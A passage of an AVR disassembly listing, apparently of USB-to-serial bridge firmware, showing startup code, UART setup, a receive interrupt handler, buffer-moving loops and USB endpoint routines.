10e: 75 00 .word 0x0075 ; ????
110: 69 00 .word 0x0069 ; ????
112: 6e 00 .word 0x006e ; ????
114: 6f 00 .word 0x006f ; ????
116: 2e 00 .word 0x002e ; ????
118: 63 00 .word 0x0063 ; ????
11a: 63 00 .word 0x0063 ; ????
11c: 29 00 .word 0x0029 ; ????
11e: 00 00 nop
120: 00 00 nop
122: 11 24 eor r1, r1
124: 1f be out 0x3f, r1 ; 63
126: cf ef ldi r28, 0xFF ; 255
128: d2 e0 ldi r29, 0x02 ; 2
12a: de bf out 0x3e, r29 ; 62
12c: cd bf out 0x3d, r28 ; 61
12e: 11 e0 ldi r17, 0x01 ; 1
130: a0 e0 ldi r26, 0x00 ; 0
132: b1 e0 ldi r27, 0x01 ; 1
134: ec ea ldi r30, 0xAC ; 172
136: ff e0 ldi r31, 0x0F ; 15
138: 02 c0 rjmp .+4 ; 0x13e
13a: 05 90 lpm r0, Z+
13c: 0d 92 st X+, r0
13e: a6 31 cpi r26, 0x16 ; 22
140: b1 07 cpc r27, r17
142: d9 f7 brne .-10 ; 0x13a
144: 12 e0 ldi r17, 0x02 ; 2
146: a6 e1 ldi r26, 0x16 ; 22
148: b1 e0 ldi r27, 0x01 ; 1
14a: 01 c0 rjmp .+2 ; 0x14e
14c: 1d 92 st X+, r1
14e: af 32 cpi r26, 0x2F ; 47
150: b1 07 cpc r27, r17
152: e1 f7 brne .-8 ; 0x14c
154: f1 d0 rcall .+482 ; 0x338
156: 28 c7 rjmp .+3664 ; 0xfa8
158: 53 cf rjmp .-346 ; 0x0
15a: 9c 01 movw r18, r24
15c: dc 01 movw r26, r24
15e: ae 57 subi r26, 0x7E ; 126
160: bf 4f sbci r27, 0xFF ; 255
162: ed 91 ld r30, X+
164: fc 91 ld r31, X
166: 11 97 sbiw r26, 0x01 ; 1
168: 41 91 ld r20, Z+
16a: 11 96 adiw r26, 0x01 ; 1
16c: fc 93 st X, r31
16e: ee 93 st -X, r30
170: 80 58 subi r24, 0x80 ; 128
172: 9f 4f sbci r25, 0xFF ; 255
174: e8 17 cp r30, r24
176: f9 07 cpc r31, r25
178: 11 f4 brne .+4 ; 0x17e
17a: 2d 93 st X+, r18
17c: 3c 93 st X, r19
17e: 9f b7 in r25, 0x3f ; 63
180: f8 94 cli
182: f9 01 movw r30, r18
184: ec 57 subi r30, 0x7C ; 124
186: ff 4f sbci r31, 0xFF ; 255
188: 80 81 ld r24, Z
18a: 81 50 subi r24, 0x01 ; 1
18c: 80 83 st Z, r24
18e: 9f bf out 0x3f, r25 ; 63
190: 84 2f mov r24, r20
192: 08 95 ret
194: df 92 push r13
196: ef 92 push r14
198: ff 92 push r15
19a: 0f 93 push r16
19c: 1f 93 push r17
19e: fc 01 movw r30, r24
1a0: 84 89 ldd r24, Z+20 ; 0x14
1a2: 81 30 cpi r24, 0x01 ; 1
1a4: 19 f0 breq .+6 ; 0x1ac
1a6: 82 30 cpi r24, 0x02 ; 2
1a8: 21 f4 brne .+8 ; 0x1b2
1aa: 05 c0 rjmp .+10 ; 0x1b6
1ac: 40 e3 ldi r20, 0x30 ; 48
1ae: d4 2e mov r13, r20
1b0: 04 c0 rjmp .+8 ; 0x1ba
1b2: dd 24 eor r13, r13
1b4: 02 c0 rjmp .+4 ; 0x1ba
1b6: 30 e2 ldi r19, 0x20 ; 32
1b8: d3 2e mov r13, r19
1ba: 83 89 ldd r24, Z+19 ; 0x13
1bc: 82 30 cpi r24, 0x02 ; 2
1be: 11 f4 brne .+4 ; 0x1c4
1c0: 88 e0 ldi r24, 0x08 ; 8
1c2: d8 2a or r13, r24
1c4: 85 89 ldd r24, Z+21 ; 0x15
1c6: 87 30 cpi r24, 0x07 ; 7
1c8: 31 f0 breq .+12 ; 0x1d6
1ca: 88 30 cpi r24, 0x08 ; 8
1cc: 31 f0 breq .+12 ; 0x1da
1ce: 86 30 cpi r24, 0x06 ; 6
1d0: 31 f4 brne .+12 ; 0x1de
1d2: 82 e0 ldi r24, 0x02 ; 2
1d4: 03 c0 rjmp .+6 ; 0x1dc
1d6: 84 e0 ldi r24, 0x04 ; 4
1d8: 01 c0 rjmp .+2 ; 0x1dc
1da: 86 e0 ldi r24, 0x06 ; 6
1dc: d8 2a or r13, r24
1de: 10 92 c9 00 sts 0x00C9, r1
1e2: 10 92 c8 00 sts 0x00C8, r1
1e6: 10 92 ca 00 sts 0x00CA, r1
1ea: e7 84 ldd r14, Z+15 ; 0x0f
1ec: f0 88 ldd r15, Z+16 ; 0x10
1ee: 01 89 ldd r16, Z+17 ; 0x11
1f0: 12 89 ldd r17, Z+18 ; 0x12
1f2: 80 e0 ldi r24, 0x00 ; 0
1f4: e8 16 cp r14, r24
1f6: 81 ee ldi r24, 0xE1 ; 225
1f8: f8 06 cpc r15, r24
1fa: 80 e0 ldi r24, 0x00 ; 0
1fc: 08 07 cpc r16, r24
1fe: 80 e0 ldi r24, 0x00 ; 0
200: 18 07 cpc r17, r24
202: 19 f4 brne .+6 ; 0x20a
204: 20 e1 ldi r18, 0x10 ; 16
206: 30 e0 ldi r19, 0x00 ; 0
208: 0f c0 rjmp .+30 ; 0x228
20a: c8 01 movw r24, r16
20c: b7 01 movw r22, r14
20e: 96 95 lsr r25
210: 87 95 ror r24
212: 77 95 ror r23
214: 67 95 ror r22
216: 60 58 subi r22, 0x80 ; 128
218: 7b 47 sbci r23, 0x7B ; 123
21a: 81 4e sbci r24, 0xE1 ; 225
21c: 9f 4f sbci r25, 0xFF ; 255
21e: a8 01 movw r20, r16
220: 97 01 movw r18, r14
222: a0 d6 rcall .+3392 ; 0xf64
224: 21 50 subi r18, 0x01 ; 1
226: 30 40 sbci r19, 0x00 ; 0
228: 30 93 cd 00 sts 0x00CD, r19
22c: 20 93 cc 00 sts 0x00CC, r18
230: d0 92 ca 00 sts 0x00CA, r13
234: 80 e0 ldi r24, 0x00 ; 0
236: e8 16 cp r14, r24
238: 81 ee ldi r24, 0xE1 ; 225
23a: f8 06 cpc r15, r24
23c: 80 e0 ldi r24, 0x00 ; 0
23e: 08 07 cpc r16, r24
240: 80 e0 ldi r24, 0x00 ; 0
242: 18 07 cpc r17, r24
244: 11 f0 breq .+4 ; 0x24a
246: 82 e0 ldi r24, 0x02 ; 2
248: 01 c0 rjmp .+2 ; 0x24c
24a: 80 e0 ldi r24, 0x00 ; 0
24c: 80 93 c8 00 sts 0x00C8, r24
250: 88 e9 ldi r24, 0x98 ; 152
252: 80 93 c9 00 sts 0x00C9, r24
256: 1f 91 pop r17
258: 0f 91 pop r16
25a: ff 90 pop r15
25c: ef 90 pop r14
25e: df 90 pop r13
260: 08 95 ret
262: 1f 92 push r1
264: 0f 92 push r0
266: 0f b6 in r0, 0x3f ; 63
268: 0f 92 push r0
26a: 11 24 eor r1, r1
26c: 2f 93 push r18
26e: 8f 93 push r24
270: 9f 93 push r25
272: ef 93 push r30
274: ff 93 push r31
276: 90 91 ce 00 lds r25, 0x00CE
27a: 8e b3 in r24, 0x1e ; 30
27c: 84 30 cpi r24, 0x04 ; 4
27e: f1 f4 brne .+60 ; 0x2bc
280: e0 91 99 01 lds r30, 0x0199
284: f0 91 9a 01 lds r31, 0x019A
288: 90 83 st Z, r25
28a: e0 91 99 01 lds r30, 0x0199
28e: f0 91 9a 01 lds r31, 0x019A
292: cf 01 movw r24, r30
294: 01 96 adiw r24, 0x01 ; 1
296: 90 93 9a 01 sts 0x019A, r25
29a: 80 93 99 01 sts 0x0199, r24
29e: 89 59 subi r24, 0x99 ; 153
2a0: 91 40 sbci r25, 0x01 ; 1
2a2: 21 f4 brne .+8 ; 0x2ac
2a4: 89 e1 ldi r24, 0x19 ; 25
2a6: 91 e0 ldi r25, 0x01 ; 1
2a8: 92 83 std Z+2, r25 ; 0x02
2aa: 81 83 std Z+1, r24 ; 0x01
2ac: 9f b7 in r25, 0x3f ; 63
2ae: f8 94 cli
2b0: 80 91 9d 01 lds r24, 0x019D
2b4: 8f 5f subi r24, 0xFF ; 255
2b6: 80 93 9d 01 sts 0x019D, r24
2ba: 9f bf out 0x3f, r25 ; 63
2bc: ff 91 pop r31
2be: ef 91 pop r30
2c0: 9f 91 pop r25
2c2: 8f 91 pop r24
2c4: 2f 91 pop r18
2c6: 0f 90 pop r0
2c8: 0f be out 0x3f, r0 ; 63
2ca: 0f 90 pop r0
2cc: 1f 90 pop r1
2ce: 18 95 reti
2d0: fc 01 movw r30, r24
2d2: 85 85 ldd r24, Z+13 ; 0x0d
2d4: 80 ff sbrs r24, 0
2d6: 02 c0 rjmp .+4 ; 0x2dc
2d8: 5f 98 cbi 0x0b, 7 ; 11
2da: 08 95 ret
2dc: 5f 9a sbi 0x0b, 7 ; 11
2de: 08 95 ret
2e0: 80 e0 ldi r24, 0x00 ; 0
2e2: 91 e0 ldi r25, 0x01 ; 1
2e4: d5 c5 rjmp .+2986 ; 0xe90
2e6: 80 e0 ldi r24, 0x00 ; 0
2e8: 91 e0 ldi r25, 0x01 ; 1
2ea: 88 c5 rjmp .+2832 ; 0xdfc
2ec: 84 b7 in r24, 0x34 ; 52
2ee: 87 7f andi r24, 0xF7 ; 247
2f0: 84 bf out 0x34, r24 ; 52
2f2: 28 e1 ldi r18, 0x18 ; 24
2f4: 0f b6 in r0, 0x3f ; 63
2f6: f8 94 cli
2f8: 20 93 60 00 sts 0x0060, r18
2fc: 10 92 60 00 sts 0x0060, r1
300: 0f be out 0x3f, r0 ; 63
302: 87 e6 ldi r24, 0x67 ; 103
304: 90 e0 ldi r25, 0x00 ; 0
306: 90 93 cd 00 sts 0x00CD, r25
30a: 80 93 cc 00 sts 0x00CC, r24
30e: 86 e0 ldi r24, 0x06 ; 6
310: 80 93 ca 00 sts 0x00CA, r24
314: 10 92 c8 00 sts 0x00C8, r1
318: 20 93 c9 00 sts 0x00C9, r18
31c: 53 9a sbi 0x0a, 3 ; 10
31e: 5a 9a sbi 0x0b, 2 ; 11
320: 8a b1 in r24, 0x0a ; 10
322: 80 63 ori r24, 0x30 ; 48
324: 8a b9 out 0x0a, r24 ; 10
326: 8b b1 in r24, 0x0b ; 11
328: 80 63 ori r24, 0x30 ; 48
32a: 8b b9 out 0x0b, r24 ; 11
32c: 83 d2 rcall .+1286 ; 0x834
32e: 84 e0 ldi r24, 0x04 ; 4
330: 85 bd out 0x25, r24 ; 37
332: 5f 9a sbi 0x0b, 7 ; 11
334: 57 9a sbi 0x0a, 7 ; 10
336: 08 95 ret
338: 0f 93 push r16
33a: 1f 93 push r17
33c: cf 93 push r28
33e: df 93 push r29
340: d5 df rcall .-86 ; 0x2ec
342: 2f b7 in r18, 0x3f ; 63
344: f8 94 cli
346: 8e e9 ldi r24, 0x9E ; 158
348: 91 e0 ldi r25, 0x01 ; 1
34a: 90 93 1f 02 sts 0x021F, r25
34e: 80 93 1e 02 sts 0x021E, r24
352: 90 93 21 02 sts 0x0221, r25
356: 80 93 20 02 sts 0x0220, r24
35a: 2f bf out 0x3f, r18 ; 63
35c: 2f b7 in r18, 0x3f ; 63
35e: f8 94 cli
360: 89 e1 ldi r24, 0x19 ; 25
362: 91 e0 ldi r25, 0x01 ; 1
364: 90 93 9a 01 sts 0x019A, r25
368: 80 93 99 01 sts 0x0199, r24
36c: 90 93 9c 01 sts 0x019C, r25
370: 80 93 9b 01 sts 0x019B, r24
374: 2f bf out 0x3f, r18 ; 63
376: 78 94 sei
378: ce e9 ldi r28, 0x9E ; 158
37a: d1 e0 ldi r29, 0x01 ; 1
37c: 03 e0 ldi r16, 0x03 ; 3
37e: 8f b7 in r24, 0x3f ; 63
380: f8 94 cli
382: 90 91 22 02 lds r25, 0x0222
386: 8f bf out 0x3f, r24 ; 63
388: 90 38 cpi r25, 0x80 ; 128
38a: 09 f1 breq .+66 ; 0x3ce
38c: 80 e0 ldi r24, 0x00 ; 0
38e: 91 e0 ldi r25, 0x01 ; 1
390: ab d4 rcall .+2390 ; 0xce8
392: 97 fd sbrc r25, 7
394: 1c c0 rjmp .+56 ; 0x3ce
396: e0 91 1e 02 lds r30, 0x021E
39a: f0 91 1f 02 lds r31, 0x021F
39e: 80 83 st Z, r24
3a0: e0 91 1e 02 lds r30, 0x021E
3a4: f0 91 1f 02 lds r31, 0x021F
3a8: cf 01 movw r24, r30
3aa: 01 96 adiw r24, 0x01 ; 1
3ac: 90 93 1f 02 sts 0x021F, r25
3b0: 80 93 1e 02 sts 0x021E, r24
3b4: 8e 51 subi r24, 0x1E ; 30
3b6: 92 40 sbci r25, 0x02 ; 2
3b8: 11 f4 brne .+4 ; 0x3be
3ba: d2 83 std Z+2, r29 ; 0x02
3bc: c1 83 std Z+1, r28 ; 0x01
3be: 9f b7 in r25, 0x3f ; 63
3c0: f8 94 cli
3c2: 80 91 22 02 lds r24, 0x0222
3c6: 8f 5f subi r24, 0xFF ; 255
3c8: 80 93 22 02 sts 0x0222, r24
3cc: 9f bf out 0x3f, r25 ; 63
3ce: 8f b7 in r24, 0x3f ; 63
3d0: f8 94 cli
3d2: 10 91 9d 01 lds r17, 0x019D
3d6: 8f bf out 0x3f, r24 ; 63
3d8: a8 99 sbic 0x15, 0 ; 21
3da: 02 c0 rjmp .+4 ; 0x3e0
3dc: 11 36 cpi r17, 0x61 ; 97
3de: 78 f1 brcs .+94 ; 0x43e
3e0: a8 9a sbi 0x15, 0 ; 21
3e2: 80 91 9d 01 lds r24, 0x019D
3e6: 88 23 and r24, r24
3e8: 61 f0 breq .+24 ; 0x402
3ea: 5d 98 cbi 0x0b, 5 ; 11
3ec: 00 93 16 01 sts 0x0116, r16
3f0: 08 c0 rjmp .+16 ; 0x402
3f2: 89 e1 ldi r24, 0x19 ; 25
3f4: 91 e0 ldi r25, 0x01 ; 1
3f6: b1 de rcall .-670 ; 0x15a
3f8: 68 2f mov r22, r24
3fa: 80 e0 ldi r24, 0x00 ; 0
3fc: 91 e0 ldi r25, 0x01 ; 1
3fe: da d4 rcall .+2484 ; 0xdb4
400: 11 50 subi r17, 0x01 ; 1
402: 11 23 and r17, r17
404: b1 f7 brne .-20 ; 0x3f2
406: 80 91 16 01 lds r24, 0x0116
40a: 88 23 and r24, r24
40c: 51 f0 breq .+20 ; 0x422
40e: 80 91 16 01 lds r24, 0x0116
412: 81 50 subi r24, 0x01 ; 1
414: 80 93 16 01 sts 0x0116, r24
418: 80 91 16 01 lds r24, 0x0116
41c: 88 23 and r24, r24
41e: 09 f4 brne .+2 ; 0x422
420: 5d 9a sbi 0x0b, 5 ; 11
422: 80 91 17 01 lds r24, 0x0117
426: 88 23 and r24, r24
428: 51 f0 breq .+20 ; 0x43e
42a: 80 91 17 01 lds r24, 0x0117
42e: 81 50 subi r24, 0x01 ; 1
430: 80 93 17 01 sts 0x0117, r24
434: 80 91 17 01 lds r24, 0x0117
438: 88 23 and r24, r24
43a: 09 f4 brne .+2 ; 0x43e
43c: 5c 9a sbi 0x0b, 4 ; 11
43e: 8f b7 in r24, 0x3f ; 63
440: f8 94 cli
442: 90 91 22 02 lds r25, 0x0222
446: 8f bf out 0x3f, r24 ; 63
448: 99 23 and r25, r25
44a: 69 f0 breq .+26 ; 0x466
44c: 8e e9 ldi r24, 0x9E ; 158
44e: 91 e0 ldi r25, 0x01 ; 1
450: 84 de rcall .-760 ; 0x15a
452: 98 2f mov r25, r24
454: 80 91 c8 00 lds r24, 0x00C8
458: 85 ff sbrs r24, 5
45a: fc cf rjmp .-8 ; 0x454
45c: 90 93 ce 00 sts 0x00CE, r25
460: 5c 98 cbi 0x0b, 4 ; 11
462: 00 93 17 01 sts 0x0117, r16
466: 80 e0 ldi r24, 0x00 ; 0
468: 91 e0 ldi r25, 0x01 ; 1
46a: 95 d4 rcall .+2346 ; 0xd96
46c: 2a d4 rcall .+2132 ; 0xcc2
46e: 87 cf rjmp .-242 ; 0x37e
470: da 01 movw r26, r20
472: 92 30 cpi r25, 0x02 ; 2
474: 49 f0 breq .+18 ; 0x488
476: 93 30 cpi r25, 0x03 ; 3
478: 61 f0 breq .+24 ; 0x492
47a: 91 30 cpi r25, 0x01 ; 1
47c: f9 f4 brne .+62 ; 0x4bc
47e: e8 e9 ldi r30, 0x98 ; 152
480: f0 e0 ldi r31, 0x00 ; 0
482: 22 e1 ldi r18, 0x12 ; 18
484: 30 e0 ldi r19, 0x00 ; 0
486: 1e c0 rjmp .+60 ; 0x4c4
488: ea ea ldi r30, 0xAA ; 170
48a: f0 e0 ldi r31, 0x00 ; 0
48c: 2e e3 ldi r18, 0x3E ; 62
48e: 30 e0 ldi r19, 0x00 ; 0
490: 19 c0 rjmp .+50 ; 0x4c4
492: 81 30 cpi r24, 0x01 ; 1
494: 49 f0 breq .+18 ; 0x4a8
496: 81 30 cpi r24, 0x01 ; 1
498: 18 f0 brcs .+6 ; 0x4a0
49a: 82 30 cpi r24, 0x02 ; 2
49c: 79 f4 brne .+30 ; 0x4bc
49e: 08 c0 rjmp .+16 ; 0x4b0
4a0: e8 ee ldi r30, 0xE8 ; 232
4a2: f0 e0 ldi r31, 0x00 ; 0
4a4: 84 91 lpm r24, Z+
4a6: 07 c0 rjmp .+14 ; 0x4b6
4a8: ec ee ldi r30, 0xEC ; 236
4aa: f0 e0 ldi r31, 0x00 ; 0
4ac: 84 91 lpm r24, Z+
4ae: 03 c0 rjmp .+6 ; 0x4b6
4b0: e0 e2 ldi r30, 0x20 ; 32
4b2: f1 e0 ldi r31, 0x01 ; 1
4b4: 84 91 lpm r24, Z+
4b6: 28 2f mov r18, r24
4b8: 30 e0 ldi r19, 0x00 ; 0
4ba: 04 c0 rjmp .+8 ; 0x4c4
4bc: e0 e0 ldi r30, 0x00 ; 0
4be: f0 e0 ldi r31, 0x00 ; 0
4c0: 20 e0 ldi r18, 0x00 ; 0
4c2: 30 e0 ldi r19, 0x00 ; 0
4c4: ed 93 st X+, r30
4c6: fc 93 st X, r31
4c8: c9 01 movw r24, r18
4ca: 08 95 ret
4cc: 28 e0 ldi r18, 0x08 ; 8
4ce: 30 e0 ldi r19, 0x00 ; 0
4d0: 40 e0 ldi r20, 0x00 ; 0
4d2: 03 c0 rjmp .+6 ; 0x4da
4d4: 4f 5f subi r20, 0xFF ; 255
4d6: 22 0f add r18, r18
4d8: 33 1f adc r19, r19
4da: 28 17 cp r18, r24
4dc: 39 07 cpc r19, r25
4de: d0 f3 brcs .-12 ; 0x4d4
4e0: 84 2f mov r24, r20
4e2: 82 95 swap r24
4e4: 80 7f andi r24, 0xF0 ; 240
4e6: 08 95 ret
4e8: 80 93 e9 00 sts 0x00E9, r24
4ec: 80 91 eb 00 lds r24, 0x00EB
4f0: 81 60 ori r24, 0x01 ; 1
4f2: 80 93 eb 00 sts 0x00EB, r24
4f6: 10 92 ed 00 sts 0x00ED, r1
4fa: 60 93 ec 00 sts 0x00EC, r22
4fe: 40 93 ed 00 sts 0x00ED, r20
502: 80 91 ee 00 lds r24, 0x00EE
506: 88 1f adc r24, r24
508: 88 27 eor r24, r24
50a: 88 1f adc r24, r24
50c: 08 95 ret
50e: 10 92 f4 00 sts 0x00F4, r1
512: 90 e0 ldi r25, 0x00 ; 0
514: 90 93 e9 00 sts 0x00E9, r25
518: 10 92 f0 00 sts 0x00F0, r1
51c: 10 92 e8 00 sts 0x00E8, r1
520: 10 92 ed 00 sts 0x00ED, r1
524: 80 91 eb 00 lds r24, 0x00EB
528: 8e 7f andi r24, 0xFE ; 254
52a: 80 93 eb 00 sts 0x00EB, r24
52e: 9f 5f subi r25, 0xFF ; 255
530: 95 30 cpi r25, 0x05 ; 5
532: 81 f7 brne .-32 ; 0x514
534: 08 95 ret
536: 80 91 27 02 lds r24, 0x0227
53a: 88 23 and r24, r24
53c: 8c f4 brge .+34 ; 0x560
53e: 03 c0 rjmp .+6 ; 0x546
540: 8e b3 in r24, 0x1e ; 30
542: 88 23 and r24, r24
544: b1 f0 breq .+44 ; 0x572
546: 80 91 e8 00 lds r24, 0x00E8
54a: 82 ff sbrs r24, 2
54c: f9 cf rjmp .-14 ; 0x540
54e: 80 91 e8 00 lds r24, 0x00E8
552: 8b 77 andi r24, 0x7B ; 123
554: 80 93 e8 00 sts 0x00E8, r24
558: 08 95 ret
55a: 8e b3 in r24, 0x1e ; 30
55c: 88 23 and r24, r24
55e: 49 f0 breq .+18 ; 0x572
560: 80 91 e8 00 lds r24, 0x00E8
564: 80 ff sbrs r24, 0
566: f9 cf rjmp .-14 ; 0x55a
568: 80 91 e8 00 lds r24, 0x00E8
56c: 8e 77 andi r24, 0x7E ; 126
56e: 80 93 e8 00 sts 0x00E8, r24
572: 08 95 ret
574: 94 e6 ldi r25, 0x64 ; 100
576: 80 91 ec 00 lds r24, 0x00EC
57a: 80 ff sbrs r24, 0
57c: 05 c0 rjmp .+10 ; 0x588
57e: 80 91 e8 00 lds r24, 0x00E8
582: 80 ff sbrs r24, 0
584: 05 c0 rjmp .+10 ; 0x590
586: 23 c0 rjmp .+70 ; 0x5ce
588: 80 91 e8 00 lds r24, 0x00E8
58c: 82 fd sbrc r24, 2
58e: 1f c0 rjmp .+62 ; 0x5ce
590: 8e b3 in r24, 0x1e ; 30
592: 88 23 and r24, r24
594: 11 f4 brne .+4 ; 0x59a
596: 82 e0 ldi r24, 0x02 ; 2
598: 08 95 ret
59a: 8e b3 in r24, 0x1e ; 30
59c: 85 30 cpi r24, 0x05 ; 5
59e: 11 f4 brne .+4 ; 0x5a4
5a0: 83 e0 ldi r24, 0x03 ; 3
5a2: 08 95 ret
5a4: 80 91 eb 00 lds r24, 0x00EB
5a8: 85 ff sbrs r24, 5
5aa: 02 c0 rjmp .+4 ; 0x5b0
5ac: 81 e0 ldi r24, 0x01 ; 1
5ae: 08 95 ret
5b0: 80 91 e1 00 lds r24, 0x00E1
5b4: 82 ff sbrs r24, 2
5b6: df cf rjmp .-66 ; 0x576
5b8: 80 91 e1 00 lds r24, 0x00E1
5bc: 8b 7f andi r24, 0xFB ; 251
5be: 80 93 e1 00 sts 0x00E1, r24
5c2: 99 23 and r25, r25
5c4: 11 f4 brne .+4 ; 0x5ca
5c6: 84 e0 ldi r24, 0x04 ; 4
5c8: 08 95 ret
5ca: 91 50 subi r25, 0x01 ; 1
5cc: d4 cf rjmp .-88 ; 0x576
5ce: 80 e0 ldi r24, 0x00 ; 0
5d0: 08 95 ret
5d2: 9c 01 movw r18, r24
5d4: 40 91 2d 02 lds r20, 0x022D
5d8: 50 91 2e 02 lds r21, 0x022E
5dc: 46 17 cp r20, r22
5de: 57 07 cpc r21, r23
5e0: 18 f4 brcc .+6 ; 0x5e8
5e2: f9 01 movw r30, r18
5e4: 20 e0 ldi r18, 0x00 ; 0
5e6: 38 c0 rjmp .+112 ; 0x658
5e8: 61 15 cp r22, r1
5ea: 71 05 cpc r23, r1
5ec: 11 f0 breq .+4 ; 0x5f2
5ee: ab 01 movw r20, r22
5f0: f8 cf rjmp .-16 ; 0x5e2
5f2: 80 91 e8 00 lds r24, 0x00E8
5f6: 8e 77 andi r24, 0x7E ; 126
5f8: 80 93 e8 00 sts 0x00E8, r24
5fc: 40 e0 ldi r20, 0x00 ; 0
5fe: 50 e0 ldi r21, 0x00 ; 0
600: f0 cf rjmp .-32 ; 0x5e2
602: 80 91 e8 00 lds r24, 0x00E8
606: 83 ff sbrs r24, 3
608: 02 c0 rjmp .+4 ; 0x60e
60a: 81 e0 ldi r24, 0x01 ; 1
60c: 08 95 ret
60e: 80 91 e8 00 lds r24, 0x00E8
612: 82 fd sbrc r24, 2
614: 2d c0 rjmp .+90 ; 0x670
616: 8e b3 in r24, 0x1e ; 30
618: 88 23 and r24, r24
61a: 81 f1 breq .+96 ; 0x67c
61c: 8e b3 in r24, 0x1e ; 30
61e: 85 30 cpi r24, 0x05 ; 5
620: 79 f1 breq .+94 ; 0x680
622: 80 91 e8 00 lds r24, 0x00E8
626: 80 ff sbrs r24, 0
628: 17 c0 rjmp .+46 ; 0x658
62a: 90 91 f2 00 lds r25, 0x00F2
62e: 06 c0 rjmp .+12 ; 0x63c
630: 81 91 ld r24, Z+
632: 80 93 f1 00 sts 0x00F1, r24
636: 41 50 subi r20, 0x01 ; 1
638: 50 40 sbci r21, 0x00 ; 0
63a: 9f 5f subi r25, 0xFF ; 255
63c: 41 15 cp r20, r1
63e: 51 05 cpc r21, r1
640: 11 f0 breq .+4 ; 0x646
642: 98 30 cpi r25, 0x08 ; 8
644: a8 f3 brcs .-22 ; 0x630
646: 20 e0 ldi r18, 0x00 ; 0
648: 98 30 cpi r25, 0x08 ; 8
64a: 09 f4 brne .+2 ; 0x64e
64c: 21 e0 ldi r18, 0x01 ; 1
64e: 80 91 e8 00 lds r24, 0x00E8
652: 8e 77 andi r24, 0x7E ; 126
654: 80 93 e8 00 sts 0x00E8, r24
658: 41 15 cp r20, r1
65a: 51 05 cpc r21, r1
65c: 91 f6 brne .-92 ; 0x602
65e: 22 23 and r18, r18
660: 81 f6 brne .-96 ; 0x602
662: 06 c0 rjmp .+12 ; 0x670
664: 8e b3 in r24, 0x1e ; 30
666: 88 23 and r24, r24
668: 49 f0 breq .+18 ; 0x67c
66a: 8e b3 in r24, 0x1e ; 30
66c: 85 30 cpi r24, 0x05 ; 5
66e: 41 f0 breq .+16 ; 0x680
670: 80 91 e8 00 lds r24, 0x00E8
674: 82 ff sbrs r24, 2
676: f6 cf rjmp .-20 ; 0x664
678: 80 e0 ldi r24, 0x00 ; 0
67a: 08 95 ret
67c: 82 e0 ldi r24, 0x02 ; 2
67e: 08 95 ret
680: 83 e0 ldi r24, 0x03 ; 3
682: 08 95 ret
684: 9c 01 movw r18, r24
686: 40 91 2d 02 lds r20, 0x022D
68a: 50 91 2e 02 lds r21, 0x022E
68e: 46 17 cp r20, r22
690: 57 07 cpc r21, r23
692: 10 f4 brcc .+4 ; 0x698
694: 90 e0 ldi r25, 0x00 ; 0
696: 3b c0 rjmp .+118 ; 0x70e
698: 61 15 cp r22, r1
69a: 71 05 cpc r23, r1
69c: 11 f0 breq .+4 ; 0x6a2
69e: ab 01 movw r20, r22
6a0: f9 cf rjmp .-14 ; 0x694
6a2: 80 91 e8 00 lds r24, 0x00E8
6a6: 8e 77 andi r24, 0x7E ; 126
6a8: 80 93 e8 00 sts 0x00E8, r24
6ac: 40 e0 ldi r20, 0x00 ; 0
6ae: 50 e0 ldi r21, 0x00 ; 0
6b0: f1 cf rjmp .-30 ; 0x694
6b2: 80 91 e8 00 lds r24, 0x00E8
6b6: 83 ff sbrs r24, 3
6b8: 02 c0 rjmp .+4 ; 0x6be
6ba: 81 e0 ldi r24, 0x01 ; 1
6bc: 08 95 ret
6be: 80 91 e8 00 lds r24, 0x00E8
6c2: 82 fd sbrc r24, 2
6c4: 30 c0 rjmp .+96 ; 0x726
6c6: 8e b3 in r24, 0x1e ; 30
6c8: 88 23 and r24, r24
6ca: 99 f1 breq .+102 ; 0x732
6cc: 8e b3 in r24, 0x1e ; 30
6ce: 85 30 cpi r24, 0x05 ; 5
6d0: 91 f1 breq .+100 ; 0x736
6d2: 80 91 e8 00 lds r24, 0x00E8
6d6: 80 ff sbrs r24, 0
6d8: 1a c0 rjmp .+52 ; 0x70e
6da: 80 91 f2 00 lds r24, 0x00F2
6de: 09 c0 rjmp .+18 ; 0x6f2
6e0: f9 01 movw r30, r18
6e2: 2f 5f subi r18, 0xFF ; 255
6e4: 3f 4f sbci r19, 0xFF ; 255
6e6: e4 91 lpm r30, Z+
6e8: e0 93 f1 00 sts 0x00F1, r30
6ec: 41 50 subi r20, 0x01 ; 1
6ee: 50 40 sbci r21, 0x00 ; 0
6f0: 8f 5f subi r24, 0xFF ; 255
6f2: 41 15 cp r20, r1
6f4: 51 05 cpc r21, r1
6f6: 11 f0 breq .+4 ; 0x6fc
6f8: 88 30 cpi r24, 0x08 ; 8
6fa: 90 f3 brcs .-28 ; 0x6e0
6fc: 90 e0 ldi r25, 0x00 ; 0
6fe: 88 30 cpi r24, 0x08 ; 8
700: 09 f4 brne .+2 ; 0x704
702: 91 e0 ldi r25, 0x01 ; 1
704: 80 91 e8 00 lds r24, 0x00E8
708: 8e 77 andi r24, 0x7E ; 126
70a: 80 93 e8 00 sts 0x00E8, r24
70e: 41 15 cp r20, r1
710: 51 05 cpc r21, r1
712: 79 f6 brne .-98 ; 0x6b2
714: 99 23 and r25, r25
716: 69 f6 brne .-102 ; 0x6b2
718: 06 c0 rjmp .+12 ; 0x726
71a: 8e b3 in r24, 0x1e ; 30
71c: 88 23 and r24, r24
71e: 49 f0 breq .+18 ; 0x732
720: 8e b3 in r24, 0x1e ; 30
722: 85 30 cpi r24, 0x05 ; 5
724: 41 f0 breq .+16 ; 0x736
726: 80 91 e8 00 lds r24, 0x00E8
72a: 82 ff sbrs r24, 2
72c: f6 cf rjmp .-20 ; 0x71a
72e: 80 e0 ldi r24, 0x00 ; 0
730: 08 95 ret
732: 82 e0 ldi r24, 0x02 ; 2
734: 08 95 ret
736: 83 e0 ldi r24, 0x03 ; 3
738: 08 95 ret
73a: 9c 01 movw r18, r24
73c: 61 15 cp r22, r1
73e: 71 05 cpc r23, r1
740: 29 f4 brne .+10 ; 0x74c
742: 80 91 e8 00 lds r24, 0x00E8
746: 8b 77 andi r24, 0x7B ; 123
748: 80 93 e8 00 sts 0x00E8, r24
74c: f9 01 movw r30, r18
74e: 20 c0 rjmp .+64 ; 0x790
750: 80 91 e8 00 lds r24, 0x00E8
754: 83 ff sbrs r24, 3
756: 02 c0 rjmp .+4 ; 0x75c
758: 81 e0 ldi r24, 0x01 ; 1
75a: 08 95 ret
75c: 8e b3 in r24, 0x1e ; 30
75e: 88 23 and r24, r24
760: 39 f1 breq .+78 ; 0x7b0
762: 8e b3 in r24, 0x1e ; 30
764: 85 30 cpi r24, 0x05 ; 5
